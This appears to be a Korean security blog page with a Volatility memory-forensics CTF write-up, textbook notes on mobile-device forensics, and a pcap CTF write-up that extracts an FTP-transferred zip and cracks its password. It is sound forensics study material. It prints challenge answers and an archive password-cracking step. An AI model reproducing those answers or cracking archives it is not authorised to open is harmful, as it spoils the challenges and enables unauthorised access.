(https://velog.io/@jjewqm/%EB%A9%94%EB%AA%A8%EB%A6%AC-%ED%8F%AC%EB%A0%8C%EC%8B%9D)

 

메모리 포렌식 : Volatility

메모리포렌식과 Volatility명령어를 정리합니다.

velog.io

 

다음 블로그 글을 통해서 메모리 분석 방법을 공부했습니다.

(https://wave1994.tistory.com/31)

문제풀이

문제 사진

문제를 보면 해킹당한 PC의 메모리를 덤프한 파일을 제공하며, 김장군 PC의 IP, 해커가 열람한 기밀문서, 기밀문서의 내용 속 Key 값을 알아내라고 합니다.

 

우선, 해당 파일을 다운받아서 volatility로 분석해봅시다.

 

운영체제 정보를 알아야 다양한 플러그인들을 사용해서 분석이 가능하므로 먼저 알아봅시다.

 

volatility_2.6_win64_standalone.exe -f "MemoryDump(SuNiNaTaS)" imageinfo

 

imageinfo

해당 운영체제를 profile에 넣어서 김장군 PC의 IP를 알기 위해 netscan 해줍니다.

 

volatility_2.6_win64_standalone.exe -f "MemoryDump(SuNiNaTaS)" --profile=Win7SP1x86 netscan

 

IP 주소 발견

김장군 PC의 IP는 192.168.197.138인 것을 알 수 있습니다.

 

자, 이제 해커가 열람한 파일을 찾아야 해서 filescan을 해주었는데,

굉장히 많다...

엄청나게 많은 양의 파일명들이 보입니다. 그래서, 좀 더 범위를 좁혀서 특정하기 위해서 생각을 해봤는데, 기밀문서를 열람했다면 어떠한 응용프로그램을 통해서 열람했을 것이기 때문에 실행된 응용프로그램 목록을 보면 더 특정짓기 편할 것 같습니다.

 

그래서, userassist로 응용프로그램 기록을 확인해봤습니다.

 

volatility_2.6_win64_standalone.exe -f "MemoryDump(SuNiNaTaS)" --profile=Win7SP1x86 userassist

 

의심스러운 정황 발견

살펴보니, 윈도우 쉘이 실행되고, 이어서 cmd 실행되고, notepad가 실행되었습니다. 아마도 쉘을 따고 들어와서 notepad로 기밀문서를 열어본 것 같습니다. 

(이거, 응용프로그램 실행시킨 순서대로 보여주는 것이 맞겠지?....)

 

좀 더 확실하게 확인하기 위해서 cmd로 내린 명령을 확인해봤습니다.

 

volatility_2.6_win64_standalone.exe -f "MemoryDump(SuNiNaTaS)" --profile=Win7SP1x86 cmdscan

 

cmd 명령 프롬프트로 실행된 기록

cmd에서 notepad를 실행시키는데, SecretDocumen7.txt 라는 파일을 열어본 것을 확인할 수 있습니다.

 

IP 주소와 기밀 문서 이름을 알아냈으니, 기밀 문서에 들어있는 키 값을 찾아야 합니다. 그러기 위해서는 해당 문서의 메모리에서의 위치를 찾아서 복구해주면 됩니다.

 

우선, filescan에서 findstr로 해당 파일을 찾아서 메모리 위치 정보를 알아냅니다.

 

volatility_2.6_win64_standalone.exe -f "MemoryDump(SuNiNaTaS)" --profile=Win7SP1x86 filescan | findstr "SecreetDocumen7.txt"

 

0x000000003df2ddd8 메모리 위치 확인

알아낸 메모리 위치를 바탕으로 dumpfile을 통해서 해당 파일을 복구해서 저장합니다.

-Q [해당 파일의 메모리 주소] -D [파일 저장할 장소]     ./은 현재 디렉토리에 저장한다는 의미입니다.

volatility_2.6_win64_standalone.exe -f "MemoryDump(SuNiNaTaS)" --profile=Win7SP1x86 dumpfiles -Q 0x000000003df2ddd8 -D ./

추출된 파일을 메모장으로 열어보면 다음과 같습니다.

문서 내용 확인

자, 이제 모든 정보를 알았습니다.

IP 주소: 192.168.197.138  문서 이름: SecreetDocumen7.txt  키 값:  4rmy_4irforce_N4vy

(.txt 포함해야 합니다. 처음에 포함하지 않고 했다가....... 문제 잘못 푼 줄 알았어요!)

 

MD5 해시 사이트에서 해당 값을 해시하고, 소문자 변환 사이트에서 소문자로 변환해주었습니다.

(MD5 해쉬 사이트: https://www.convertstring.com/ko/Hash/MD5)

(소문자 변환 사이트: https://www.convertstring.com/ko/StringFunction/ToLowerCase)

 

이렇게 획득한 값을 써니나타스 AUTH에 넣어주면 다음과 같이 인증됩니다.

인증 성공 (두 번째 인증이라서,,,)

 

728x90
728x90

책 소개

제목: 이제 시작이야 디지털 포렌식

내용: 디지털 포렌식의 입문자들을 위한 책으로 포렌식의 기초를 다루고 있다. (비전공자들도 쉽게 보고 이해할 수 있음.)

개인적인 평가: 번역이 아쉬움.... (원문을 접할 수 있다면, 원문 보는 것을 추천함.)

 

http://www.yes24.com/Product/Goods/7526115

 

이제 시작이야! 디지털 포렌식

디지털 포렌식 입문을 위한 첫걸음 이 책은 디지털 포렌식에 새로이 입문하는 사람들에게 탄탄한 기초를 제공하는 입문서다. 디지털 포렌식이 무엇인지, 어떠한 방법론이 사용되는지, 핵심적인

www.yes24.com

10장 휴대기기 포렌식

서론

불과 10년 전만 해도 터치폰이 혁명적인 제품이었는데, 지금은 아주 기본적인 디폴트 기능이 되었습니다. 그만큼 빠르게 발전하고, 다양한 신기술들이 적용되는 것이 휴대폰입니다. 오늘날 휴대폰은 컴퓨터보다 더 많은 사적인 정보를 지닙니다. 그래서 오늘은 휴대기기 포렌식에 대한 내용이 주제입니다.

 

2012년에 나온 책이다 보니, 2021년인 현재와 다소 다른 양상을 띠고 있을거라는 점을 유의하면 좋을 것 같습니다.

 

1. 셀룰러 네트워크

셀룰러 네트워크는 여러 개의 셀(cell)로 구성되어 있다. 각 셀은 사전에 정해진 주파수 범위를 사용하여 특정 지역에 서비스를 제공합니다.

 

각 셀의 크기와 모양은 서로 다르며, 각 셀에서 방출하는 라디오 신호의 강도는 범위를 제한하기 위해 엄밀하게 통제된다. (범위 제한으로 인해서, 주파수를 재활용할 수 있음.)

 

셀 사이트(cell site):

각 셀에는 기지국이 있으며, 기지국에는 안테나와 관련 라디오 장비가 있는데 이를 통틀어 셀 사이트라고 함. 셀 사이트는 네트워크에 연결될 수 있도록 함. 

 

일반적으로 각 셀 타워는 각 측면마다 3개의 패널이 부착되어 있는데,

가운데에 있는 패널은 보통 송신기로 사용하며, 나머지 2개의 패널은 수신기로 라디오 신호를 탐지한다.

셀 사이트 실제 모습

셀 사이트는 각 셀의 정가운데에 위치하지 않고, 여러 셀의 교차로에 위치하여 가입자가 하나의 셀에서 다른 셀로 이동하기 쉽도록 함.

 

셀룰러 네트워크 구성요소

- 기지국:

안테나와 관련 장비로 구성되어 있음.

 

- 기지국 제어기(Base Station Controller, BSC):

기지국 사이의 신호를 조절하며, 휴대폰의 위치가 이동될 때 핵심적인 역할을 함.

 

- 기지국 교환센터(Mobile Switching Center, MSC):

네트워크 안에서 발생한 통화를 처리함.

무선 네트워크의 핵심요소로서 엄청난 양의 증거가 잠재적으로 저장되어 있을 수 있음.

다른 무선 네트워크나 유선 전화와의 통화를 조절하고 문자 메시지를 처리하며, 통화 기록과 로그도 수집할 수 있음.

 

- 방문자 위치 등록기(Visitor Location Register, VLR):

기지국 교환 센터에 연결되어 있는 데이터베이스로, 기지국 교환센터로 통제되고 있는 모든 휴대기기는 방문자 위치 등록기에 기록됨.

인터네트워크 기능은 인터넷과 같은 외부 데이터 네트워크로의 출입문 역할을 함.

 

- 홈 위치 등록기(Home Location Register, HLR):

가입자 식별 정보, 휴대폰 요금 청구, 사용하는 서비스, 기기의 현재 위치 등의 가입자의 정보가 수집됨.

암호화 키를 저장하고, 인증 센터(Authentication Center, AuC)를 지원하며 네트워크로의 접근을 제어하는데 사용됨. 

 

- 인증 센터(Authentication Center, AuC):

연결을 조사하여 승인되지 않은 사용자를 차단함.

 

- 단문 메시지 서비스 센터(Short Messeage Service Center, SMSC):

문자 메시지 또는 SMS 메시지를 저장함. 

 

통화를 하지 않아도, 휴대폰은 주변의 셀룰러 안테나와 주기적으로 통신하여 식별 정보를 전송해, 접근 인가가 있는지 검증한다.

 

만약 운전을 하고 있다면, 네트워크 연결이 하나의 셀 타워에서 다른 셀 타워로 이전되는데, 이러한 네트워크 이전을 "핸드오프(handoff)"라고 함.

 

핸드오프 처리

GSM(세계 무선 통신 시스템)과 CDMA(코드 분할 다중 접속) 네트워크는 핸드오프 처리 방식이 다름.

 

GSM 네트워크는 "하드 핸드오프" 방식을 사용함.

휴대폰은 한 번에 하나의 타워에 접속할 수 있으며, 현재 타워에서 통화를 하고 있다면, 그 통화는 새로운 타워로 이전되고, 휴대폰은 새로운 타워의 주파수로 전환됨.

 

CDMA는 "소프트 핸드오프" 방식을 사용함.

▶ 휴대폰은 여러 개의 타워에 동시에 접속할 수 있으며, 그 중에서 가장 신호가 강한 타워를 사용함.

 

 

통화가 셀 타워에 도착하면, 그 통화는 "기지국 교환센터"로 이전되고,

만약 네트워크 외부로 연결해야 하는 통화라면, 기지국 교환센터는 "공중 전화망(Public Switched Telephone Network, PSTN)으로 통화를 넘기고, 공중 전화망은 해당 수신자에게 통화를 돌림.

 

셀룰러 네트워크의 종류

셀룰러 네트워크는 어떻게 데이터를 전송하는지에 따라 분류되거나 정의됨.

데이터 전송방식에는 '코드 분할 다중 접속', '세계 무선 통신 시스템', '통합 디지털 확장 네트워크'가 있음.

 

 

- 코드 분할 다중 접속(CDMA): 

 

CDMA는 주파수 기술을 사용하여 데이터를 전송함.

이 기술은 하나의 채널로 여러 대의 휴대폰이 데이터를 송수신할 수 있도록 하여 각 휴대폰 통화가 특정 디지털 코드로 표시되게 함.

CDMA 기술로 서비스를 제공하는 업체로는 SKT, KT, LG U+ 등이 있다.

CDMA 휴대폰은 일반적으로 SIM 카드를 사용하지 않으며, 장치일련번호로 휴대폰을 식별한다.

(우리 휴대폰 USIM 칩 사용하는데...?, 일반적이지 않은 것 같네요.)

 

- 세계 무선 통신 시스템(GSM): 

 

GSM은 국제적이며, 사분할 다중접속 기술을 사용함.

전세계적으로 가장 많이 사용하는 데이터 전송 방식이며, CDMA와 다르게 GSM 휴대폰은 SIM 카드를 사용함.

국제 이동 단말기 번호(International Mobile Equipment Identity, IMEI)를 사용하여 휴대폰을 식별함.

 

- 통합 디지털 확장 네트워크(IDEN):

 

IDEN은 양방향 라디오 같은 기능을 제공하는데, GSM 휴대폰과 마찬가지로 SIM 카드를 사용한다.

IDEN 통신업체로는 넥스텔, 스프린트, 부스트모바일 등이 있음.

 

- 선불 휴대폰: 

 

미국에서는 선불 휴대폰을 대형 마트에서 식료품을 구매하는 것처럼 구매하여 사용할 수 있음.

(그래서... 영화에서 휴대폰을 장바구니에 담듯이 샀구나... 신원 확인이 어렵겠다..)

 

선불휴대폰도 라디오 신호를 사용하여 데이터를 전송하고 네트워크에 연결해야 한다는 점에서 다른 휴대폰과 동일한 방식으로 작동함.

 

하지만, 선불 휴대폰은 완전히 현금으로 지불하여 구매할 수 있기 때문에 아무런 흔적이 남지 않아 사용자가 누구인지 식별하기가 어렵다.

(이거 완전히 합법적인 대포폰인 것 같다...)

 

다른 휴대폰과 마찬가지로 휴대폰을 사용한 위치와 통화내역을 확인할 수 있다.

 

2. 운영체제

모든 포렌식 조사에 있어서 휴대폰의 운영체제는 어떤 흔적을 남기고 어떻게 저장되는지 등의 커다란 영향을 미친다. 오늘날의 휴대폰 운영체제로는 심비안, 애프르이 iOS, 윈도우 CE, 윈도우 모바일, 구글의 안드로이드, 블랙베리 OS 등이 있다. 

 

- 블랙베리:

리서치 인 모션(Research In Motion, RIM)이라는 캐나다 회사에 의해 처음으로 개발되어 기업과 정부 사용자들이 애용했음.

다양한 종류의 응용프로그램을 지원하며, 멀티태스킹도 지원함.

이 운영체제는 고유 운영체제로 통신업체마다 버전이 다르다. (즉, SKT와 KT에서 제공하는 버전이 다름.)

 

- 안드로이드:

오픈소스 운영체제로 현재 오픈 핸드셋 얼라이언스(Open Handset Alliance)가 개발 중임.

2005년 구글이 Android, Inc로부터 안드로이드 운영체제를 인수함.

안드로이드에는 안드로이드의 핵심 기능을 확장시켜 주는 수천 개의 응용 프로그램이 있음.

 

- iOS:

애플의 컴퓨터와 노트북에 사용되던 Mac OS X를 기반으로 만들어짐.

아이폰, 아이패드, 아이팟 터치에 해당 OS가 사용됨.

 

3. 휴대폰 증거

휴대폰 증거는 휴대폰뿐만 아니라 휴대폰 네트워크에서도 수집이 가능함.

 

▼스마트폰에 있는 잠재적 증거 표

통화 기록 문자 메시지 이메일
사진 및 동영상 삭제된 문자 메시지 브라우저 기록
연락처 위치 정보 채팅 세션
달력 음성 메모 문서

 

개인 식별 번호(Personal Indentification Number, PIN)는 휴대폰의 보안을 강화하는데 사용됨.

=> PIN을 세 번 연속으로 틀리면 잠금 상태가 되며, 잠금 해제를 위해서 개인 해제 키(Personal Unlock Key, PUK)가 필요함. 해당 PUK는 일반적으로 SIM 카드 제공자만이 지급할 수 있음.

 

더불어, 텍스트를 입력할 때 휴대폰에서 제공되는 자동 완성 기능이 있는데, 해당 기능은 단어예측(predictive text) 기능으로 데이터베이스에 동화된다.

즉 이 기록을 수집해서 활용할 수 있다.

(ex. 평소 사용자가 어떤 단어를 많이 사용하고, 관심있어 하는지 파악이 가능함.)

 

통화내역기록(Call Detail Records, CDR)

CDR은 보통 통신업체가 문제를 해결하고 네트워크의 성능을 개선하기 위해서 사용됨.

저장된 정보

- 통화 시작 및 종료 날짜와 시간

- 휴대폰을 건 사람과 받은 사람

- 통화 시간

- 휴대폰을 한 것인지 받은 것인지

- 통화 시작 타워와 종료 타워

 

※ 누가 실제로 통화를 했는지는 알 수 없음. (가입자 정보만 알 수 있음.)

 

휴대폰의 위치 파악

- 삼각 측량(triangulation):

세 개의 서로 다른 타워로부터 휴대폰과의 거리를 측정하여 휴대폰의 대략적인 위치를 파악함.

거리는 휴대폰에서 세 개의 타워로 신호를 보낼 때 지연되는 시간을 바탕으로 계산함.

 

- 방향 안테나:

삼각 측량과 마찬가지로 신호의 지연 시간을 바탕으로 거리를 측정하는데, 방향을 판단할 수 있어서 세 개의 타워 대신에 두 개의 타워만을 사용함. 

 

- GPS:

위도와 경도를 파악할 수 있음.

 

휴대폰 증거 수집 및 처리

첫 번째 작업은 네트워크로부터 휴대폰을 고립시키기

=> 원격으로 휴대폰의 데이터가 모두 삭제될 수도 있으며, 새로 오는 메시지, 메일이 잠재적 증거를 덮어쓸 수 있음.

패러데이 봉투나 캔으로 휴대폰을 고립시킬 수 있음.

 

휴대폰이 꺼져 있다면, 전지를 꺼내고 SIM 카드에 표시를 해야 함. (요즈음 일체형이긴 한데..)

그리고, 휴대폰의 앞과 뒤를 사진으로 남겨두며, 전지 밑에 있는 번호(IMEI, ESN/MEID)를 유의깊게 살펴봐야 함.

 

휴대폰의 모델, 브랜드 정보를 확인해야 함.

상황에 따라서 원본으로 조사할지 복사본으로 조사할지 결정해야 함.

 

현장에서는 다른 휴대폰, SIM 카드, 관련 전원 케이블, 데이터 케이블을 확인해야 함.

 

SIM 카드

SIM 카드는 수많은 정보가 저장되어 있기에, SIM 카드 자체만으로 중요한 증거가 됨.

 

특히 유용한 정보 두 가지가 저장되어 있음.

- 국제 이동가입자 식별자(International Mobile Subscriber Identity, IMSI):

가입자의 계정 정보와 서비스를 식별하는데 사용됨.

 

- 통합 회로 카드 식별자(Integrated Circuit Card Identifier, ICC-ID):

SIM 카드 자체의 시리얼 번호

 

SIM 카드에 저장된 정보

- 사용자 식별 정보(IMSI)

- 서비스 제공업체

- 카드 식별 정보(ICC-ID)

- 언어 설정

- 휴대폰의 전원이 꺼진 곳의 위치

- 사용자가 저장한 휴대폰번호

- SMS 문자 메시지 (없을 수도 있음.)

- 삭제된 SMS 문자 메시지 (없을 수도 있음.)

 

SIM 카드는 프로세서(CPU), RAM, 플래시 기반의 비휘발성 메모리, 암호화 칩 등의 여러 구성요소로 이루어짐.

 

휴대폰 수집: 물리적 및 논리적

물리적 방법으로는 물리적 저장매체에 있는 모든 데이터를 캡쳐함.

즉, 하드 드라이브를 클로닝하는 것처럼 비트 하나 틀리지 않고 모두 복사한다.

(삭제된 정보도 캡쳐할 수 있음.)

 

논리적 방법으로는 삭제된 데이터는 가져오지 못하고, 파일과 폴더만 캡쳐한다.

이 경우 하드 드라이브에 있는 데이터를 수집할 때와 비슷하기는 하지만, 쓰기 차단 기기가 사용되지 않음.

 

4. 휴대폰 포렌식 툴

- BitPim:

강력한 오픈소스 프로그램으로 LG나 삼성을 포함하여 여러 벤더에서 생산하는 CDMA 휴대폰의 데이터를 수집할 수 있도록 설계됨.

연락처, 달력, 배경화면, 휴대폰 벨 소리, 파일 시스템 등 다양한 데이터를 복구할 수 있음.

(http://www.bitpim.org/)

 

- Oxygen Forensic Suite:

휴대폰 전용 포렌식 프로그램으로 2,300개 이상의 기기를 지원함.

SIM 카드 데이터, 통화 그룹, 휴대폰 기록, 표준 및 개인 SMS/MMS/이메일 폴더, 삭제된 문자 메시지, 달력, 사진, 동영상, JAVA 프로그램, GPS 위치 등을 축출할 수 있음.

(https://www.oxygen-forensic.com/en/)

 

- Paraben Corporation:

다양한 휴대기기 전용 포렌식 하드웨어 및 소프트웨어 툴을 판매함.

Garmin 같은 네비게이션 기기도 지원함.

(https://paraben.com/)

 

- AccessData의 MPE+:

3,500 개 이상의 휴대폰을 지원함.

통화기록, 메시지, 사진, 음성 메시지, 동영상, 달력, 이벤트 등을 수집함.

동일한 인터페이스를 사용하여 여러 대의 휴대폰과 컴퓨터를 분석하여 상관관계를 확인할 수 있음.

(https://accessdata.com/product-download/mpe-5-8-0)

 

- Cellebrite의 UFED (Universal Forensic Extraction Device):

독립형 하드웨어 장비로 연락처, 사진, 동영상, SMS, MMS, 통화기록 등 다양한 정보를 축출할 수 있음.

2,500개 이상의 휴대폰을 지원하며 현장에서 정보를 바로 축출할 수 있도록 설계됨.

SIM 카드 읽기와 클로닝 기능도 포함되어 있음.

(https://www.cellebrite.com/en/ufed/)

 

- EnCase Smartphone Examiner:

스마트폰과 타블렛의 데이터를 축출하고 검토할 수 있게 해주는 툴.

블랙베리, 아이툰 백업, SD 카드 등에서 데이터를 수집할 수 있음.

일단 정보가 수집되면 EnCase Forensics suite에서 해당 정보를 불러들여 추가적인 조사가 가능함.

(https://security.opentext.com/encase-mobile-investigator)

 

5. 네비게이션

네비게이션은 심플, 스마트, 하이브리드, 네트워크로 크게 4가지로 분류할 수 있음.

 

심플 네비게이션은 사용자가 한 장소에서 다른 장소로 이동하는 데 도움을 주며,

트랙포인트(trackpoint), 웨이포인트(waypoint), 트랙 로그를 저장할 수 있음.

 

스마트 네비게이션은 자동차와 USB 대용량 저장장치 두 가지로 세분화할 수 있는데, 적어도 2GB 이상의 저장공간이 있고 SD 카드를 추가로 사용할 수 있다. 심플 시스템과 동일한 기본 기능을 제공하며 그 이외에 MP3, 사진 보기, 자주 가는 곳 저장하기 기능 등이 있음.

 

하이브리드 네비게이션은 많은 기능을 제공하기 때문에 많은 증거가 저장되어 있을 수 있음.

스마트 기기에 있는 기능을 모두 가지고 있으며, 추가적인 기능을 제공함.

블루투스로 휴대폰과 연결할 수 있기 때문에 휴대폰에 있는 많은 데이터를 네비게이션에서도 발견할 수도 있음.

즉, 통화목록, 주소록 그리고 최대 10대까지 네비게이션에 연결했던 휴대폰의 MAC 주소 정보 등이 저장되며, 마지막으로 문자 메시지가 저장될 수도 있음.

 

네트워크 네비게이션은 하이브리드에 있는 기능에 추가적으로 구글 검색이나 교통 정보 등 실시간 정보를 받을 수 있는 기능이 있음. 이러한 네비게이션에는 SIM 카드와 GSM 라디오 장치가 탑재되어 있음

 

※ 솔직히, 현재 네비게이션은 위의 4가지를 다 포함하는 기능을 가지고 있는 것 같다.

 

 

 

네비게이션 데이터는 시스템 데이터 사용자 데이터 두 가지로 분류할 수 있으며, 이때 시스템 데이터로 트랙포인트와 트랙 로그 등을 제공한다.

 

시스템 데이터

- 트랙포인트:

해당 기기가 있었던 위치에 대한 기록을 의미함.

시스템에서 자동으로 생성하며, 사용자가 수정할 수 없음.

기본설정으로 시스템은 얼마나 자주 기록하는지 결정하는데, 이 부분을 사용자가 수정할 수 있어서 저장되는 시간이나 거리를 변경할 수 있음.

 

- 트랙 로그:

모든 트랙포인트의 포괄적인 목록을 의미함.

사용자가 경로를 되돌아가는 데 도움을 주기 위한 기능임.

 

사용자 데이터

- 웨이포인트:

사용자가 생성한 데이터의 일부임.

트랙포인트와 다르게 웨이포인트는 실제로 사용자가 물리적으로 해당 위치에 갔다는 것을 의미하지는 않음. (사용자가 가려 했던 곳일 수 있음.)

 

728x90
728x90

포렌식 교육 5주차 문제에 해당하는 포렌식 분야의 문제인

one_data_one_zip 문제 풀이입니다.

 

우선, 이 문제는 포렌식 교육에서 제공된 문제입니다.

문제 파일을 공유할 수는 없겠지만, 풀이를 재밌게 봐주셨으면 합니다.

 

필요한 도구

.pcap, .pcapng 네트워크 / USB 패킷 등을 분석할 때 사용하는

Wireshark

(https://www.wireshark.org/download.html)

 

Wireshark · Download

Riverbed is Wireshark's primary sponsor and provides our funding. They also make great products that fully integrate with Wireshark. I have a lot of traffic... ANSWER: SteelCentral™ AppResponse 11 • Full stack analysis – from packets to pages • Ric

www.wireshark.org

zip password cracking 할 수 있는

Advanced Archive Password Recovery

(https://advanced-archive-password-recovery.kr.uptodown.com/windows/download)

 

다운로드 Advanced Archive Password Recovery 검색어: Windows 무료 | Uptodown.com

SHA256 08244b1475dd648640e02e635394573057edf0a86b5e1a8f901e4b85755655c8

advanced-archive-password-recovery.kr.uptodown.com


문제 풀이

우선, zip 파일을 다운받아서 압축을 풀면, chall.pcapng 파일이 들어있다.

Wireshark로 열어서 보면 다음과 같다.

 

우선, 힌트로 brute-force attack이 주어졌고,

패킷을 보면 ftp 서버에 접속을 시도하는 것 같다.

USER pwning, PASS qazxsw12! 로 로그인하여

최상위 / 에 위치한 것을 알 수 있다.

 

더 살펴보면,

서버에 flag.zip 파일을 저장하는 것을 알 수 있다.

 

이외에 더 살펴봤지만, 딱히 중요해보이는 것은 없었다.

 

아마도 flag.zip 파일에 플래그 값이 들어있을 것 같으니, 해당 파일을 찾아야 한다.

 

하지만, 문제에서 제공한 zip 파일에는 flag.zip 파일이 담겨있지 않았다....

 

어떻게 해야 할지 모르겠어서 구글링을 하다가 방법을 찾았다!!

(https://n20kim.wordpress.com/2012/11/12/packet-ftp%EB%A1%9C-%EC%A0%84%EC%86%A1%EB%90%9C-%ED%8C%8C%EC%9D%BC-%EC%B6%94%EC%B6%9C/)

 

[packet] ftp로 전송된 파일 추출

how to extract files from a  pcap file?   [+] Open the pcap files in WireShark 와이어 샤크에서 pcap 파일을 열자.   허벌나게 많은 패킷 중에서 ftp 파일만 보고 싶다. 고렇다면 expression에서 ftp-data를 찾아 filter를

n20kim.wordpress.com

방법은 간단했다.

ftp-data로 필터링해서 우클릭 Follow TCP Stream하여 zip 파일로 저장하면 된다.

ftp-data 필터링
follow TCP stream

ASCII에서 RAW로 바꾸고 확장자는 zip으로 저장해주면 다음과 같이 추출된다.

추출된 파일

그런데, 해당 zip 파일에 암호가 걸려있었다.

 

혹시나 해서 패킷에서 확인한 qazxsw12! 암호를 넣어봤는데,

풀리지 않는다...ㅠ

 

교육자분께서 힌트로 zip password cracking 하는 방법으로

advanced archive password recovery를 알려주셔서 해당 방법을 사용했다.

 

 

비밀번호 crack

이렇게 비밀번호가 2048인 것을 알 수 있다.

(4자리 비밀번호는 무료 버전으로 크랙할 수 있습니다.)

 

해당 zip 파일을 압축 풀고 열어보면,

다음과 같이 txt 파일에 플래그 값이 담겨 있습니다.

flag 발견

 

이렇게 문제가 해결된다~~~~!!!

 

 

728x90